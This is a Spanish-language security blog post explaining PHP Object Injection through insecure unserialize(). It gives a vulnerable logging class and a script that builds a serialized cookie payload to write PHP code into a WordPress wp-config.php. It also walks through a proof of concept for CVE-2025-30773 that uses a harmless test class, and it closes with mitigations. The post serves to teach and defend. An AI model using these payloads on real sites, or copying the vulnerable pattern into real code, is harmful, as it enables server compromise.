Saltar a contenido

El asesino en serie de PHP: La deserialización insegura

Algunas vulnerabilidades pasan desapercibidas hasta que es demasiado tarde y definitivamente las PHP Object Injection son una de ellas. Esta vulnerabilidad a menudo desconocida permite a un atacante inyectar objetos PHP manipulados en una aplicación, desencadenando una serie de consecuencias devastadoras como: ejecución remota de código, acceso no autorizado a archivos o escalada de privilegios.

Este tipo de ataque es especialmente peligroso porque no siempre es evidente a primera vista. Puede estar latente en el código durante años hasta que un atacante descubre cómo explotarlo. Lo que parece una simple funcionalidad de almacenamiento o transmisión de datos puede convertirse en una puerta trasera que acabe comprometiendo la integridad del sistema.

¿Qué es una vulnerabilidad PHP Object Injection?

La vulnerabilidad PHP Object Injection ocurre cuando una aplicación deserializa datos controlados por un atacante sin una validación adecuada. Para comprenderlo mejor, imaginemos que una aplicación utiliza serialization para guardar objetos en cookies, bases de datos o parámetros de entrada de usuario. Si un atacante puede manipular estos datos serializados, puede inyectar objetos maliciosos que, al deserializarse, ejecuten código no deseado.

Un ejemplo simple:

<?php
class Usuario {
    public $nombre;
    public $isAdmin = false;
}

$usuario = new Usuario();
$usuario->nombre = "JohnDoe";

$serializado = serialize($usuario);
echo $serializado;
?>

Un atacante que pueda modificar la entrada de este objeto podría cambiar la propiedad isAdmin a true, logrando acceso no autorizado a partes restringidas del sistema. Si bien esto ya puede suponer un peligro, el verdadero problema surge cuando la aplicación deserializa objetos de clases que contienen "métodos mágicos" como __wakeup() o __destruct(), llegando en muchos casos a la ejecución de código arbitrario.

Métodos mágicos

En PHP, los métodos mágicos son funciones especiales dentro de una clase que se ejecutan automáticamente bajo ciertas condiciones. Algunos de los más relevantes son:

  • __wakeup(): Se ejecuta al deserializar un objeto y suele ser utilizado para inicializar propiedades.
  • __destruct(): Se llama cuando un objeto es destruido. Si se implementa de manera insegura, un atacante podría manipular la ejecución del código al final del ciclo de vida del objeto.
  • __toString(): Se invoca cuando un objeto es tratado como una cadena. Si dentro de este método se ejecuta código dinámico, podría ser explotado para ejecutar comandos arbitrarios.

Impacto de una vulnerabilidad PHP Object Injection

El impacto de esta vulnerabilidad varia mucho en función del contexto de la aplicación afectada, en algunos casos la vulnerabilidad puede permitir a un atacante escalar privilegios, lo que le otorgaría un mayor control sobre el sistema afectado. Esto podría derivar en la manipulación de configuraciones críticas, la creación de puertas traseras para accesos futuros o incluso la desactivación de medidas de seguridad implementadas en la aplicación.

Otro posible escenario de explotación es la combinación de PHP Object Injection con otras vulnerabilidades presentes en la aplicación o en librerías de terceros. Esto podría llegar a permitir la ejecución remota de código (RCE), facilitando que el atacante tome control total del servidor y comprometa otros sistemas relacionados.

Ejemplo de explotación de PHP Object Injection

Para ilustrar un caso práctico de explotación, consideremos una aplicación que utiliza serialización para gestionar archivos de registro en un sitio WordPress.

Código vulnerable:

<?php
class Logger {
    public $logFile = "logs/app.log";
    public $message;

    public function __destruct() {
        file_put_contents($this->logFile, $this->message . "\n", FILE_APPEND);
    }
}

$cookie = $_COOKIE['session'] ?? '';
$logEntry = unserialize(base64_decode($cookie));
?>

En este caso, si un atacante puede manipular la cookie session, podría inyectar un objeto malicioso para sobrescribir $logFile y agregar cualquier cosa al archivo destino mediante el parámetro message. La forma de generar el payload sería la siguiente:

Explotación:

<?php
class Logger {
    public $logFile = "/var/www/htlm/wordpress/wp-config.php";
    public $message;

    public function __destruct() {
        file_put_contents($this->logFile, $this->message . "\n", FILE_APPEND);
    }
}

$payload = new Logger();
$payload->message = "<?php phpinfo(); ?>";
$session = base64_encode(serialize($payload));
echo "session=$session";
?>

Si el atacante logra que esta cookie sea deserializada, la entrada maliciosa se agregará al archivo , agregando código PHP arbitrario que se ejecutara al acceder al archivo.

Ejemplo real, desarrollando una PoC para el CVE-2025-30773

En este ejemplo veremos un ejemplo real para una vulnerabilidad revelada recientemente, el CVE-2025-30773.

CVE-2025-30773 advisor
Publicación del CVE-2025-30773

Como vemos afecta a todas las versiones hasta la 2.9.7, asi que podemos ver que ha cambiado entre la 2.9.6 y la 2.9.7 para encontrar el punto de entrada y reproducir la vulnerabilidad. Para ello acudiremos al svn de los plugins de Wordpress. Ahi encontraremos el siguiente cambio en un archivo donde se sustituye el unserialize por json_decode:

Cambio Relevante
Cambio relevante

Leyendo el código vemos que el objeto deserializado proviene de trp_updb_extra_params, solo nos queda ver donde podemos manipular este parámetro y ya podremos hacer nuestra Prueba De Concepto funcional.

Tras desplegar el plugin en una instancia de testing y revisar mas a fondo el código vemos que este parámetro se pasa cuando se actualizan las tablas de la base de datos, es decir al llamar a la acción trp_update_database .

A fin de no dar una prueba de concepto de un RCE para una vulnerabilidad publicada recientemente, en mi caso voy a añadir al código una clase de testing que simplemente imprima que se ha inyectado el objeto a deserializar. Aunque es bastante trivial conseguir una prueba de concepto con un gadget funcional

<?php
class ObjectInjection
{
   public $test;

   function __destruct(){
        die("PHP Object Injection triggered destruct: " . $this->test);
   }

  function __wakeup(){
        die("PHP Object Injection triggered wakeup: " . $this->test);
   }
}
?>

Con esto podemos construir un payload para llamar a esta clase de la siguiente manera:

<?php
class ObjectInjection
{
   public $test;

   function __destruct(){
        die("PHP Object Injection triggered destruct: " . $this->test);
   }

  function __wakeup(){
        die("PHP Object Injection triggered wakeup: " . $this->test);
   }
}

$a = new ObjectInjection();
$b = base64_encode(serialize($a));
echo $b;
?>

Y usarlo durante la actualización sustituyendo el parámetro por nuestro payload:

Prueba de concepto
Prueba de concepto

Cómo prevenir vulnerabilidades de PHP Object Injection

Para mitigar el riesgo de PHP Object Injection, es fundamental seguir buenas prácticas de seguridad en el desarrollo:

  • Evitar el uso de unserialize() con datos no confiables: Siempre preferir formatos de datos seguros como JSON en lugar de serialización PHP.

  • Implementar allowlist de clases permitidas al deserializar objetos: PHP 7.0 introduce unserialize() con allowed_classes para restringir qué clases pueden deserializarse.

  • Eliminar clases innecesarias con métodos mágicos peligrosos.

  • Realizar auditorías de seguridad y pruebas de penetración periódicas.

La vulnerabilidad PHP Object Injection puede parecer un problema técnico menor, pero en el contexto adecuado, se convierte en una herramienta peligrosa para los atacantes. Aplicar las medidas preventivas adecuadas es clave para mantener nuestras aplicaciones seguras y protegidas de posibles explotaciones.

Stay safe. Stay smart. Stay secure.